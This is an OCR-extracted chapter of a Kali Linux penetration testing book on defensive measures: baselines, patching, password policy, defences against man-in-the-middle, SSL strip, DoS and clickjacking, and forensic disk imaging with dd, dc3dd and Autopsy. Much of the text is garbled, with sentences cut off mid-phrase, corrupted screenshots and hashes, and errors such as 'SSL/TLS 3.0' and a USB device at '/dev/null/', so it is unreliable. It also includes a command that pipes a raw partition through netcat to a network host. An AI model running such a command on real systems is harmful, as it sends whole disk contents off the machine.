available in Kali Linux; however, there are many other tools beyond Kali Linux 
that should be included in your Penetration Testing arsenal. Kali Linux offers a lot 
of value with native toolsets; however, the best Penetration Testers leverage tools 
beyond Kali, such as Day Zero type attacks based on custom scripts and utilities. We 
recommend researching and testing multiple tools for attack methods covered in this 
text to grow your experience as a professional Penetration Tester.

This chapter focused on identifying and exploiting vulnerabilities remotely as 
related to Internet-based attacks. We covered browser exploitation attacks, proxy 
attacks, and password harvesting. We concluded with methods to interrupt services 
as a means of stress testing web applications as well as identifying how vulnerable 
targets are to DoS attacks.

The next chapter will change gears by looking at how to defend web applications 
using tools available in Kali Linux 1.0.
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Defensive Countermeasures
Up until this chapter, we have covered how to use Kali Linux to compromise targets. 
Now it is time to switch gears and become the defender with the goal of avoiding 
being compromised by methods we have demonstrated in this book, as well as 
other forms of attack. Defending an Internet-facing resource is 
based on being exposed to the entire world through public access, mixed with the 
operations requirement of not being able to impact service to trusted users at a cost 
of security. It is absolutely critical to include security in the entire lifecycle from 
conception to termination of anything public facing, rather than considering security 
as an afterthought. This will not only reduce the risk of threats against the service, 
but also likely be less expensive to remediate in the event of a cyber incident.

It is common knowledge that there are bad people attacking systems on the 
Internet, regardless of the nature of the business. As a defensive counter measure, 
organizations put their trust in solutions for defense from these cyber threats. The 
problem with this strategy is the vendor is not the victim of an attack and doesn't 
absorb damages from a cyber incident. Vendors will offer protection; however, 
they can't be responsible for anything outside of their product's control. All it takes 

breach for which the vendor will not be liable. Plus, many organizations leverage 
multi-vendor solutions that don't share security intelligence, making it possible for 
liability to be passed back and forth between vendors. For these reasons and more, 
we recommend the customer take ownership of the responsibility to protect assets by 
hardening systems from threats.

http://itbookshub.com

7

www.freepdf-books.com



Defensive Countermeasures

[ 252 ]

Kali Linux is a leading Penetration Testing tool that can be used to identify where 
systems are vulnerable to attack. Rather than attacking a target, we recommend 
Penetration Testing your own network assets to identify vulnerabilities before a 
malicious individual beats you to it. To quote Sun Tzu from The Art of War:

"If you know the enemy and know yourself, you need not fear the result of a 
hundred battles. If you know yourself but not the enemy, for every victory gained 
you will also suffer a defeat. If you know neither the enemy nor yourself, you will 
succumb in every battle"

We believe the same foundational concepts are true; use Kali Linux to know yourself, 
and know your weakness.

The advantage you have is you know it's happening, you and can use extreme 
measures without the worry of triggering alarms. Typically, hackers will not risk 
exposing themselves, reducing their options for attack. Stealth requires patience, 
minimal touch to the target, and lots of planning. It is up to you to capitalize on your 
ability to invest proper time and resources into security before somebody else invests 
more into bypassing it. A common saying from the authors of this book is "99 percent 
secure is a 100 percent insecure".

This chapter will provide different methods of using Kali Linux to audit your web 
applications for common vulnerabilities, as well as other best practices for hardening 
your network. We will cover security baselines, patch management, password 
policies, and defending against attack methods, covered in previous chapters. 
This chapter will also include a focused section on using Kali Linux in a forensic 
investigation. Forensics is important after identifying that your web application or 
other assets have been compromised, to avoid future negative impact.

Testing your defenses
As explained in the introduction, the best approach for hardening your defense is 
attacking your existing security controls with the goal of identifying weakness.  
Some key concepts to consider when developing a strategy for testing your cyber 
security defenses are as follows:
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Are you testing detection and response to threats or focusing on  

 
know our baseline for security, so we know what to validate against.

One common question asked by industry experts is what should be the minimal 
acceptable level for security. Many organizations must be in compliance with 

payments must adhere to the  
( ). Healthcare environments must meet Health Insurance Portability and 
Accountability (HIPAA) standards. Common mandates, such as these are covered 
in Chapter 8, Penetration test Executive Report, are popular business drivers for 
showing value for Penetration Testing services.

Outside of mandates, a good starting place for establishing a baseline for security 
is reviewing how other agencies secure their systems. As security consultants for 
American customers, we identify how the United States government secures sensitive 
information as an example for baseline security. Most US-based organizations would 
be interested in having similar security standards as the White House. This same 

best practices, or recommended military security controls. There are also best practices 
for security standards published from organizations made up of vendors and industry 
leaders, such as the International Organization for Standardization (ISO).

Let's take a look at the United States baseline security of anything accessing a 
government-controlled network.

Your baseline for security should be the absolute minimal level of security 
used in your environment. Best practice is securing systems beyond the 
baseline, because as most documented security baselines are limited, due 
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STIG
A Security Technical Implementation Guide (STIG) is a methodology for 
standardized secure installation and maintenance of computer software and 
hardware. This term was coined by the Defense Information Systems Agency 
(DISA
States Department of Defense ( ). The implementation guidelines include 
recommended administrative processes and security controls used during the 
lifecycle of the asset.

computer. Most operating systems are not inherently secure, leaving them vulnerable 
to criminals. A STIG describes how to minimize network-based attacks and prevent 
system access when the attacker is present at the device. STIGs also describe 
maintenance processes, such as software updates and vulnerability patching.

STIGs are great guidelines to secure operating systems, network devices, and 
applications. You can download STIG guidelines from http://www.stigviewer.
com/stigs
a variety of systems, including web servers. In addition, STIG guidelines are a starting 

For United States federal employees, STIGs are required for systems in networks 
controlled by the Department of Defense and other government organizations.

standardization templates. Examples are the 
Security ( ) and  ( ).

Patch management
With targeted attacks and zero-day vulnerabilities reducing the window of time 
between when a vulnerability is disclosed and attackers develop an exploit, it's 
becoming more incumbent on security managers to understand the assets in their  
IT environment, and the patch levels of those systems. Patch management is an 
ongoing process and can only be successful if there is a method to identifying when 
a patch is available, prioritize when to implement the patch, validate it regarding 
business compliance, and how to react when a patch is not available for a known 
vulnerability. This also applies to applications within systems and software such  
as plugins.
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step is identifying vulnerabilities, which can be done through vendor updates or 
services that range from periodic scanning to hardcore Penetration Testing. There 
should be a policy that explains how often different levels of scans are performed 
as well as who is responsible to review threats that are found. A good starting point 
for establishing a baseline for how often to scan for vulnerabilities is reviewing what 
regulatory compliance standards you must follow, as many include language around 
internal and external vulnerability scanning.

vulnerable. As explained in Chapter 1, Penetration Testing and Setup, being 
vulnerable doesn't necessarily mean there is a risk unless the vulnerability is 
validated through exploiting during a Penetration Test or other method.  
Securing a vulnerability could simply require a patch or upgrade; however,  
some vulnerabilities may require more investment in time and labor to remediate. 
Calculating the risk associated with investment to remediate comes into play  
for these situations.

how critical the vulnerability is to business operations. This is a key, as many 
compromised systems could have been safe if they were patched prior to being 

maintenance 
windows scheduled on a monthly or longer basis for patch management, that 
leaves a large window of time for being exposed in the event a system becomes 
vulnerable to attack. Best practice is assigning an Information Assurance Specialist 

vulnerable, as well as having the authority to trump maintenance windows when a 
threat reaches a certain level of risk to business operations.
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Patch management is one of the best defense strategies for avoiding many of the 
threats presented in this textbook. Make sure to revisit how your organization 
handles patch management periodically to avoid being a victim of exposing a 
vulnerable system that could have been secured. This should apply to all managed 
assets, including servers and web applications.

Password policies
In general, having a policy that controls the possible outcomes can negatively impact 
the strength of passwords. Regardless of the policy, users will by human nature, try 
to simplify passwords anyway possibly by using repeating characters, predictable 
behavior, such as using 12345 to extend the length of a password, or other means. 
Users will also typically not change passwords unless forced by a system. For these 
reasons, a password policy should follow the following guidelines:

Have an expiration that is under 90 days

Enforce a length of at least 12 characters
Not limit any characters, such as special characters
Mandate at least one uppercase, number, and special character
Warn or deny repeating digits such as 12345 or asdfg to avoid  
brute-force attacks

Computer processing is constantly improving, meaning 12 character 
passwords will not be strong in the near future. A recent article 
published in spring 2013, stated a team of hackers cracked more than 
14,800, 16-character cryptographically hashed passwords from a list 
of 16,449. This is a special case at the time of publishing; however, 
it will be the common battleground for future hackers. Consider the 
recommended length of a password a moving target.

The authors of this book are fans of password generator by Steve Gibson, as a secure 
method of generating random passwords. The secure random password generator 
by Steve Gibson can be found at the Gibson Research Center at: https://www.grc.com/
passwords.htm.
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Many websites and web applications are compromised, because web 
developers implemented poor security protocols. Web developers 
should use strong encryption to store user passwords and data. 
Passwords should implement hashing and salting techniques to further 
mitigate risks in stolen or lost data.

You can evaluate the strength of passwords used on your systems leveraging 
password-cracking tools covered in Chapter 3, Server Side Attacks, and Chapter 4, 
Client Side Attacks of this textbook. Suggested tools are John the Ripper, Johnny, 
Hashcat, oclHashcat, and Ophcrack. Crunch and Hashcat can be also used to 
generate password lists that can validate the strength of your password policy.

There are websites available, such as Crackstation, that offer pre-generated 
lists of popular passwords. You could use these lists to test the strength of 
your passwords and policies.

Mirror your environment
Before testing a system against a recommended security setting, checking for 
vulnerabilities, or validating a vulnerable system through exploitation, it may 
make sense to clone your system for testing purposes, rather than testing the real 
system. Best practices are replicating everything from the hardware hosting the web 
application to all content because vulnerabilities can exist in all technology layers. 
Testing a cloned environment will give the Penetration Tester freedom to execute 
any degree of attack while avoiding negative impact to operations. Although most 
people cannot mirror the exact environment, it is usually possible to set up a virtual 
environment with the same functionality.

HTTrack
HTTrack allows you to download a website 

from the Internet to a location directory, build all directories, capture HTML, images, 

website link-to-link, as well as test it for vulnerabilities. HHTrack is an extremely 
simple tool to work with basic websites. It will not replicate dynamic content, nor 
will it replicate website middleware, such as databases. Therefore, it may not be 
appropriate in all Penetration Testing environments.
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To test all aspects of a website, you will need to use other software to 
clone a target. That software must include capturing middleware and 
dynamic content as well as possibly requiring administrator access 
rights to the target.

At the time of writing, HTTack no longer comes preinstalled with Kali. To install 
HTTack, open up a Terminal window and type apt-get install httrack. Once 
the install is complete, you can launch HTTrack, open a Terminal and type httrack.

You will be asked to give a project name, path to install the website (default is 
root/websites/), and URLs to copy. HTTrack gives a few options to copy your 
target(s), as shown in the following screenshot. Some additional optional questions 

questions, select Y to clone your target(s).

HTTrack will start cloning your target and all associated links. It may take a while to 
complete, depending on the size of your target. The next screenshot shows HTTrack 
cloning www.thesecurityblogger.com.
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ht track

Welcome to HTTrack Website Copier (Offline Browser) 3.46+libhtsj ava .so.2
Copyright (C) Xavier Roche and other contributors
To see the option list, enter a blank line or try httrack --help

Enter project name :Dj Shadow

Base path ( return=/ root/websites/) :

Enter URLs (separated by commas or blank spaces) :www. thesecurityblogger.com

Action :
(enter) 1 Mirror Web Site(s)

Mirror Web Site(s) with Wizard
Just Get Files Indicated
Mirror ALL links in URLs (Multiple Mirror)

Test Links In URLs (Bookmark Test)

Quit

2
3
4
5
0

Mirror launched on Wed, 15 May 2013 04:28:09 by HTTrack Website Copier/3.46+libh
tsjava.so.2 [XRSCO'2010]
mirroring www.thesecurityblogger.com with KM1M0
37/880: www.thesecurityblogger.com/?tag=advanced-persistent-threat (101100 bytes
* www.thesecurityblogger.com/wp-content/uploads/2013/01/LadyWall.jpeg (39575 byt
* www.thesecurityblogger.com/wp-content/uploads/2012/07/ddos-attack.jpeg (0 byte
* www.thesecu rityblogge r .com/wp-content/uploads/2013/01/PhishingEmail . j peg ( 1024
* www.thesecurityblogger.com/wp-content/uploads/2013/01/emily2_new.png (294866 b
* www.thesecurityblogger.com/wp-content/uploads/2012/07/ddos.jpeg (31869 bytes)
* www.thesecurityblogger.com/wp-content/uploads/2013/02/img0206ce.jpeg (218988 b
* www.thesecurityblogger.com/wp-content/uploads/2012/07/Sc reen-Shot -2012-07-20-a
* www.thesecu rityblogge r .com/wp-content /uploads/2011/08/1197270079_viag ral80x249mp
|www.thesecurityblogger.com/wp-content/uploads/2011/08/spamitl.jpg (128249 bytes)
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Other cloning tools
Here are a few more website cloning tools available in Kali Linux. Once again,  
these tools will not replicate dynamic content, nor will they replicate website 
middleware, such as databases. Therefore, they may not be appropriate in all 
Penetration Testing environments.

: It is a tool that  
as Penetration Testing.
w3mir: It is an all purpose HTTP copying and mirroring tool. The main  
focus of w3mir is to create and maintain a browsable copy of one, or  
several, remote WWW sites.

Man-in-the-middle defense
protect against. The attack happens outside 

of the victim's controlled environment, and when executed properly, doesn't leave an 

a more sinister attack such as SSL strip. One common way to protect against MITM 
is ensuring websites use SSL/TLS 3.0. In other words, make sure the websites are 
accessed using HTTPS or HTTP secure connections. Verifying HTTPS is not as easy 
as looking for a little green address bar with a lock symbol, because attackers can 
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authority. This additional effort discourages many users from verifying a secured 
session, which makes this attack method very effective.

Google 
Internet Authority. This sounds great, but who is the Google Internet Authority

authority shown above the Google Internet Authority named Equifax Secure 
. Equifax has a number of checks and balances before issuing 

Ultimately, HTTPS relies on the concept of trust. To be more explicit, the question 

that trigger alarms from most popular Internet browsers. That annoying popup that 
users complain about when accessing websites serves as a means to warn that the 
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LJJ Equifax Secure Certificate Authority

•-* D Google Internet Authority

*-» M mail.google.com

mail.google.com

Issued by: Google Internet Authority

Expires: Thursday, October 31, 2013 6:59:59 PM Central
Daylight Time

© This certificate is valid

(ÿ[rr/ifimtr

Details

OK

This Connection is Untrusted

*3 You have asked Firefox to connect securely to insidcmit-apps.mit.edu, but we can't
confirm that your connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to prove
that you are going to the right place. However, this site's identity can’t be verified.

What Should I Do?

If you usually connect to this site without problems, this error could mean that someone is
trying to impersonate the site, and you shouldn't continue.

( Get me out of here!

Technical Details

I Understand the Risks
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Encrypted Virtual Private Network (VPN) is another way of protecting against  
man-in-the-middle attacks. By encrypting all data sent to and from your device  
while masking your public Internet Protocol (IP) address, encrypted VPNs ensure 
that you're on a network that cannot be monitored or recorded by anyone except  
the VPN provider.

VPNs can use strong authentication methods, such as two-factor authentication, 
which includes a username and password, along with some other forms of 
authentication, such as  (one-time passwords), tokens, or 

 
a VPN used by another user.

VPNs have the ability to use encryption methods, such as PPTP, L2TP, SSL, and IPSEC. 
SSL and IPSEC VPNs provide higher-level security for guarding data compared to 
other protocols because of their use of strong cryptographic encryption protocols.

VPNs are provided by both private and public organizations. It is 

because they are the trusted service providers. Therefore, the question 
of trust is still a very important concept when using a VPN. You must 
ask if you trust your VPN provider to protect your data and privacy. 
Your data security is in the service provider's hands.

Other techniques that can be used to defend against MITM attacks are Media Access 
 ( ) and 802.1x. These approaches use advanced networking 

across the network. Both approaches require equipment compatibility and must be 
enabled properly in order to be effective.

SSL strip defense
SSL strip (covered in Chapter 3, Server Side Attacks, allows attackers to strip or tear away 
the encrypted portion of a website and view the victim's Internet session, including 

 
this concept in Chapter 5, Attacking Authentication, of this textbook.
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To protect against SSL strip attacks, it is important to understand how SSL strip 
exploits a victim. The attack takes advantage of websites redirecting users from a non-
encrypted version of the site, to an encrypted version of the site. When you navigate 
to http://www.facebook.com or http://www.gmail.com, you will notice you are 
redirected to https://www.facebook.com and https://www.gmail.com. SSL strip 
breaks the redirection and forces the victim to use the non-secure version of the 
website. Furthermore, even if the site does not have a non-secure version, but still has  
a redirect, SSL strip will intercept the HTTP request and forward the user to HTTPS 
site. When a victim does this, the attacker can view the victim's entire session.

One method to protect against SSL strip attacks is to ensure that websites do not have 
a non-secure version of itself and that they do not implement redirect features. This 
would prevent a SSLstrip attack, because there is no redirection possibility. When a 
victim is attacked, they will simply not be able to get to a website. We understand from 

used to typing a non-secure HTTP request and being automatically redirected when 
security is needed. Also, many businesses would not want users thinking their website 
is down due to not accessing a secure version of the website. So the best protection 
from SSL strip is educating users on how cyber attacks occur so they can identify them.

In addition, the defense methods we outlined earlier against man-in-the middle will 
also defend against SSL strip attacks. The reason for this is SSL strip relies on a man-
in-the-middle attack to occur.

Denial of Service defense
Most Distributed or standard Denial of Service (DDoS/DoS) tools are open 
source utilities written in C# or Java. We demonstrated in Chapter 6, Web Attacks, 
how a single person using a DoS tool can have a devastating impact to a business 
by limiting access to online sources or taking down a website. DDoS/DoS tools are 
advertised as web application stress-testing tools. Although they could potentially  
be used for that, in many cases they are used for nefarious purposes.

DDoS/DoS attacks in most cases require abusing network infrastructure hardware. 

load-balancers 

volumetric and application-type attacks. Security tools with DoS detection capabilities 

for mitigating DoS risks that can exist at all layers of the protocol stack.
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To defend against sustained and prolonged attacks, many organizations turn to a 
DDoS application service provider. A DDoS application service provider works with 

away from your organization. They do this by using routing protocols, such as BGP 
and advanced DNS techniques.

Most DDoS/DoS attacks use spoofed or invalid IP addresses when attacking 
an organization. Network administrators should deploy Unicast Reverse Path 

 ( ) on their Internet-facing border routers as a protection 

attacks. Unicast RPF is considered best practices for Internet-edge-facing routers,  

interface level on Cisco routers. Other enterprise manufactures may have similar 
 

or invalid IP addresses will be dropped.

Teardrop packets. Leading DDoS/DoS solutions offer the ability to monitor for  
both internal and external DDoS/DoS threats.

Cookie defense
As we discussed in earlier chapters, cookie hijacking is a technique where an attacker 
steals session cookies. Cookie hijacking can be defeated if your website is running 
SSL/TLS 3.0. Many attackers will bypass SSL/TLS by using a combination of man-
in-the-middle or SSL strip attacks; however, by ensuring your web application only 
has secure pages, meaning not providing a HTTP to HTTPS redirection, will mitigate 
those forms of attack.

Cookie hijacking can work over SSL/TLS connections if attackers use 
cross-site scripting to send cookies to their servers. Developers can mitigate 
this risk by setting the Secure and HttpOnly

A common mistake regarding web application security is assuming developers 
secure the entire session rather than just the authentication portal to a web 
application. When the entire session is not secured, a user can possibly be attacked. 
Developers must ensure their entire application supports secure and encrypted web 
sessions through SSL/TLS 3.0 to avoid being vulnerable to attack.
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Additional defense against cookie hijacking is available with popular Application 
 (

Popular vendors to consider are Cisco, Bluecoat, Riverbed, Websense, and many 
Secure and HttpOnly. They 

also have built in propriety techniques to mitigate some cross-site scripting attacks.

Clickjacking defense
Clickjacking was covered in Chapter 5, Attacking Authentication, and is the  
technique where an attacker tricks a user into clicking on something other than  
what they believe they are clicking on. One of the best ways to protect against 
clickjacking is by running the noscript extension for Firefox or Chrome browsers. 
This will prevent unauthorized code from running in your web browser. Noscript 
can detect unauthorized scripts, alert the user of the script and prevent the script 
from running. Users have the ability to turn off scripting controls globally per 
session or per website.

The authors of this book are big fans of noscript; however, you should encourage 
web developers to set up X-Frame-Options header in HTTP responses to mitigate 
this risk in web applications. Furthermore, some application delivery controller 
appliances (ADCs), give administrators the option of writing custom scripts that  
can also help mitigate this risk.

Some websites may have legitimate reasons to run a script. This could 
be for shopping carts or other e-commerce sites.
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Digital forensics
Kali Linux 1.0 includes a number of tools for dealing with forensic requirements. 
Forensics is the practice of investigating evidence and establishing facts of interest 
that links to an incident. This section will give you an introduction to digital 
forensics as we believe it is necessary to have a reaction plan when one of your 
assets, such as a server or web application, is compromised. It is recommended to 
research other sources for a more thorough training as this topic extends beyond 
the tools available in Kali Linux. Digital forensics is a growing area of interest in 
information security with very few people that know it well.

It is important to remember three rules anytime you work on digital forensics. 
Failure to comply with these rules will make opinions of yours seem amateurish,  
and probably render your forensics investigation inclusive.

modify data when you create a copy. The moment you touch or modify original data, 
your case becomes worthless. Tampered evidence can never be used in any legal 

there is a possibility of identifying false evidence that can misrepresent the real 
incident. An example is making a change that adjusts the timestamp in the system 
logs. There would be no way to distinguish this change from an amateur analyst's 
mistake or hacker trying to cover his tracks.

Most forensic scientists will use specialized devices to copy data bit for bit. There  
is also very reputable software that will do the same thing. It is important that your 
process be very well documented. Most digital copies in legal proceedings that 
have been thrown out were removed due to a hash of a storage medium, such as 
a hard drive, not matching copied data. The hash of a hard drive will not match a 

information, and metadata is an exact copy of the original data source.

The second rule for digital forensics is anything that can store data should be 
examined. In famous cases involving digital media, critical evidence has been 
found on a camera, DVR recorders, video game consoles, phones, iPods, and other 
random digital devices. If the device has any capability of storing user data, then 
it is possible that device could be used in a forensics investigation. Do not dismiss 
a device just because it is unlikely. A car navigation system that stores maps and 
music on SD cards could be used by culprits to hide data, as well provide evidence 
for Internet usage based on download music tags.
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The last critical rule for digital forensics is 
All evidence and steps used to reach a conclusion must be easy to understand for it 

investigators must arrive at the same conclusion as you using your documentation 
and techniques. It is also important that your documentation establishes a timeline  

conclusions must be documented.

A forensic investigation is all about the perception of being a security expert 
validating evidence linked to an incident. It is easy to get caught up looking for  
bad guys and drawing conclusions on what may have happened based on opinion. 
This is one of the fastest ways to discredit your work. As a forensics specialist, you 

 
that was logged on as the username Alice initiate a copy from the user account  
Bob's home directory to a USB drive with serial number XXX at the timestamp  

login credentials (using methods covered in this book) and steal Bob's data while 
posing as Alice. The moment you jump to a conclusion is the moment your case 
becomes inconclusive based on personal interference. Remember, as a forensics 
specialist, you could be asked under oath to give testimony on exactly what 
happened. When anything outside of facts enters the record, your credibility  
will be questioned.

Kali Linux has the option of using a . Kali forensics mode is selected 
when you boot a system with a Kali boot-up disk, such as the Live CD. If you want 
to use Kali as a forensics toolkit, we highly recommend keeping a Kali Live CD as 
part of your toolkit. The Kali Live CD can be obtained as an ISO image downloaded 
from the Kali Linux website (refer to Chapter 1, on installing Kali). When Kali boots, 
you will see  as one of the selectable options.
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Using Kali in  helps you achieve your number one golden rule of not 

is no automount of internal disks. Swap partitions and any other memory or caching 
partitions are also not used in any way.

In forensics mode, removable media will not be automounted. If a CD or a thumb 
drive is inserted into the system, nothing will happen. It is possible you may want 
to use removable media in forensics mode by manually mounting it. This gives 

mounted on the system.

As previously stated, you should always work on a copy of the data source. It is 

modify it as well as that your steps can be recreated. Let's look at how to use tools 
available in Kali to copy and hash data.

Filesystem analysis with Kali
dd is one of the most common 

 
or hard drives. When dd creates a disk image, it can be mounted and examined on 
other systems. dd can save the disk image on a network share if needed or a USB 

examine how to use dd
selecting a target machine and boot up with the Kali Live CD in forensics mode.

We will run the command sfdisk -l to view the disk information on the system  
we are performing analysis on.

http://itbookshub.com

root@kali:~# sfdisk -1

Disk /dev/sda: 3916 cylinders, 255 heads, 63 sectors/track
Warning: extended partition does not start at a cylinder boundary.
DOS and Linux will interpret the contents differently.
Units = cylinders of 8225280 bytes, blocks of 1024 bytes, counting from 0

Device Boot Start
/dev/sdal
/dev/sda2
/dev/sda3
/dev/sda4
/dev/sda5
root@kali:~#|

Id System
83 Linux
5 Extended

0 0 Empty
0 0 Empty

3751+ 3916- 165- 1324032 82 Linux swap / Solaris

End #cyls
0+ 3751- 3752-

3751+ 3916-

#blocks
30130176

165- 1324033
0 0
0 0

www.freepdf-books.com



Defensive Countermeasures

[ 268 ]

1, 2, and 5 seem to be 
the most interesting since partition 3 and 4 are listed as empty. Remember, swap 
partitions can contain information left over from user activities and cache. If we had 
booted the Live CD on a Windows-based system, we would see a different partition 
structure; however, the overall concept would be the same.

in the previous image as /dev/sda1.

The basic usage of the dd command is as follows:

dd if=<media/partition on a media> of=<image_file>

partition:

dd if=/dev/sda1 of=sda1-image.dd

sda1 partition to our local 

USB drive. The author's personal preference is using a USB drive; however, for this 

a large USB drive into your system. Since you are in forensics mode on the Live 

unmounted and let the dd
command shown in the following screenshot:

The USB device location was /dev/null/; however, you can chose any location. 
You can also save the image directly to a NFS network share. You do so by using  
the following command:

dd if=/dev/sda1 | nc my_ip_address_to_network_server optional port

In the following example, we are cloning the partition sda1 to our NFS storage 
server with an IP address of 10.0.0.5:

dd if=/dev/sda1 | nc 10.0.0.5

http://itbookshub.com

:~# dd if=/dev/sdal of =dev/nuVL/sdal -image .dd|
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There are other tools that are available to 
dd
Linux and Unix systems. The process to clone a system can be very time consuming, 
depending on how large the partition is that you are trying to copy. Although dd 
is a great tool, it may not always be the best the tool. If you are looking to cloning 
an entire disk, there are other popular tools, such as AIMAGE or AIR Imager, that 

tools used in a forensic investigation adhere to standard evidence admissibility 
regulations if there is a possibility the research will be used in a legal matter.

dc3dd
dc3dd is the dd tool with added functionality for forensics. dc3dd can calculate a 
hash between the drive you are copying and the source drive on a bit-by-bit level. 
This is critical when proving the copy of data you are working is exactly like the 
original. This can be accomplished by creating a hash of the original and the copy  
to later verify a match.

For the next example, we will run the sfdisk -l command to see the drives and 
partitions available, as shown in the following screenshot:

The dc3dd command is executed in a similar way as the dd tool. You pick a source 
drive or partition as well as the destination to save the image. There is also a hash 
option. In the next example, we take the partition of /dev/sda2 and copy it to an 

CopyofDrivedc3dd, along with calculating a hash using sha256.

http://itbookshub.com

|root@kali:~# sfdisk -1

Disk /dev/sda: 3916 cylinders, 255 heads, 63 sectors/track
Warning: extended partition does not start at a cylinder boundary.
DOS and Linux will interpret the contents differently.
Units = cylinders of 8225280 bytes, blocks of 1024 bytes, counting from 0

Device Boot Start
/dev/sdal
/dev/sda2
/dev/sda3
/dev/sda4
/dev/sda5
rootÿkali :~#|

End #cyls
0+ 3751- 3752-

3751+ 3916-

Id System
83 Linux
5 Extended

0 0 Empty
0 0 Empty

3751+ 3916- 165- 1324032 82 Linux swap / Solaris

#blocks
30130176

165- 1324033
*

0 0
0 0
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This example is for demonstration purposes. A real forensic 
investigation would not save the image back to the same drive.

 
it is complete.

It is important to prove the hash of the copy matches exactly with the original. We can 
use the command sha256sum
CopyofDrivedc3dd as well as our hard drive /dev/sda2, we will see they match. We 
can even see the output from our dc3dd copy is also the same. Since the hash matches, 

http://itbookshub.com

]
_

:-# dc3dd if=/dev/sda2 of=/root/CopyofDrivQdc3dd version hash=sha256||

dc3dd 7.1.614 started at 2013-07-06 17:32:32 -0400
compiled options:
command line: dc3dd if=/dev/sda2 of=/root/CopyofDrivedc3dd_version hash=sha256
device size: 2 sectors (probed)
sector size: 512 bytes (probed)
1024 bytes (1 K) copied (100%), 0.101596 s, 9.8 K/s

input results for device '/dev/sda2' :
2 sectors in
0 bad sectors replaced by zeros
C286355c09505425c793774ca4be95e5de98a6b7a4cd0a9a24e6f7473d490e6b (sha256)

output results for file '/root/CopyofDrivedc3dd_version ' :
2 sectors out

dc3dd completed at 2013-07-06 17:32:32 -0400

dc3dd 7.1.614 started at 2013-07-06 17:32:32 -0400
compiled options:
command line: dc3dd if=/dev/sda2 of=/root/CopyofDrivedc3dd_version hash=sha256
device size: 2 sectors (probed)
sector size: 512 bytes (probed)
1024 bytes (1 K) copied (100%), 0.101596 s, 9.8 K/s

input results for device '/dev/sda2' :
2 sectors in
0 bad sectors replaced by zeros

_
c286355c09505425c793774ca4be95e5de98a6b7a4cd0a9a24e6f7473dÿ0e6b (sha256)

output results for file '/root/CopyofDrivedc3dd_version ' :
2 sectors out

dc3dd completed at 2013-07-06 17:32:32 -0400

root@kali:~# sha256s(jm CdpyofDrivedc3dd_version )
c 286355c09505425c793774ca4be95e5de98a6b7a4cd0a9a24e6f7473c(ÿOe6b CopyofDrivedcÿ)
dd_version
root@kali:~# sha256sum /dev/sda2
c 286355c09505425c793774ca4be95e5de98a6b7a4cd0a9a24e6f 747: >e6b /dev/sdj
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Other forensics tools in Kali
Kali has numerous forensics tools built in under the category labeled .  
Here are some commonly used tools in Kali, as applied to web application forensics:

chkrootkit
chkrootkit can be run on Linux systems to determine if rootkits exist on the  
system, based on signatures and processes. Think of it as antivirus or  
antimalware for Linux systems.

To run chkrootkit, open a Terminal window and type chkrootkit. This will check 
the local operating system for any installed rootkits.

Chkrootkit is a simple program that can ensure your copy of Kali has not been 
infected. You can also run chkrootkit on other Linux distributions by installing  
it on those systems.

Autopsy
Autopsy is an open source digital forensic tool that runs on Windows, Linux, OS X, 
and other Unix systems. Autopsy can be used to analyze disk images and perform 

volume system types. The most common use of Autopsy is as a case management 

using the dd

To run Autopsy, navigate to Kali Linux |  |  and select 
Autopsy. This will bring up a Terminal window, which will start the application. 
Leave that window open and use the tool through its web interface. To access the web 
interface, open up a web browser and navigate to http://localhost:9000/autopsy.

http://itbookshub.com

root@kali:~# chkrootkit|

WARNING: Your browser currently hasJava Script enabled.

You do not need Java Script to use Autopsy and it is recommended that it be turned off for security reasons.

Autopsy Forensic Browser 2.24

http: //vww.sleuthkit .oro/autopsv/

OPEN CASE NEW CASE HELP
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Select  to create a new case. This will give you the following  
example screenshot:

the time zone, entering time offsets between your Kali system and the system you 
are investigating, and descriptions, such as hostnames.

The next example will use Autopsy to  
a previous example with the dd tool, as shown in the following screenshot:

http://itbookshub.com

CREATE A NEW CASE

1. Case Name: The name of this investigation. It can contain only
letters, numbers, and symbols.

|case01

2. Description: An optional, one line description of this case.

[DrChaos Test Case

3. Investigator Names: The optional names (with no spaces) of the
investigators for this case.

a. Aamir Lakhani b. Joey Muniz

root@kali:~# dd if=/dev/sda5 of=mytestimage .dd
2648064+0 records in
2648064+0 records out

pied, 11.07758 s, 122 MS/s
aU JUI ul JL

Desktop fimap.log LOIC loic.sh mytestimage.dd tftproot

1355808768 bytes (1.4 GB) cd
root@kali:~# Is
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mytestimage.dd.

dd tool. 
You can have Autopsy calculate the hash value. The authors recommend calculating 
your own md5 checksum. This can be done by using the md5sum

http://itbookshub.com

1. Location
Enter the full path (starting with /) to the image file.
If the image is split (either raw or EnCase), then enter for the
extension.

[/root/nnytestimage.dd

2. Type
Please select if this image file is for a disk or a single partition.

8' PartitionO Disk

3. Import Method
To analyze the image file, it must be located in the evidence locker. It
can be imported from its current location using a symbolic link, by
copying it, or by moving it. Note that if a system failure occurs during
the move, then the image could become corrupt.

C Symlink O Move@ Copy

md5sum: mytes: No such file or directory
root@kali:~# md5sum mytestimage .dd
3b0d5cf41b6dl8181dda95898450fa2c mytestimage .dd
root@kali:-#|
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You can take the value that is calculated and put it directly into Autopsy.

Autopsy is a platform that can help collect forensics information for documentation 
purposes. When a partition is ready to be examined, you can use Autopsy to look 

connect to the National Institute of Standards Software Reference Library to compare 

It is often challenging to determine the  
a forensic investigation.  
not available. Binwalk

 
for home networking and wireless equipment, as well as other consumer  
electronic gadgets.

Binwalk has a few different options that can be found at: https://code.google.
com/p/binwalk/wiki/Usage. You can run the command binwalk
of the binary 

for a home wireless router as shown in the following screenshot:

http://itbookshub.com

Fxx ANALYSIS Ktvw«ioSEARCH FIIXTYPE META DATA DATA UNIT HELP CLOSE

? X
IMAGE DETAILS

*

flDirectory Seek Current Directory:i
ADO NOTE GENERATE MOD LIST or FILESLT-terthe runK of jdirectory

rhal you warn to vuv
t

Type
dkÿiuDEL NAME ACCESSED

2001,0X15 2001.03.15 2001.03.55 0
19:4505 i.CST ) 19 45:05 <CST> !9:45:05 (CST)

200i.03.15 2001.03.15 2001.03.55 520333 0 0 23
[9:36:4? ICSTI 19 44:10 iCST) 19:4505 (CST)

2001.03.15 2001.03.16 2001.03.15 1024 0 0
19:45:05 (CST) 04.4)3:12 <CST> 19:454)5 (CST)

2001.03.15 2001.03.16 2001.03.15 1024 0 0 2
19:451)5 (CST) 0403:12 (CST) 19:4503(CST)

2001.03 15 2001 03.16 2001.03.15 2048 0 0 30121 *
19-4502 iGST) 0405 T?I('.ST» I9:4502(CST)

McoITIED CHANGED Size UID GID META
VIEW

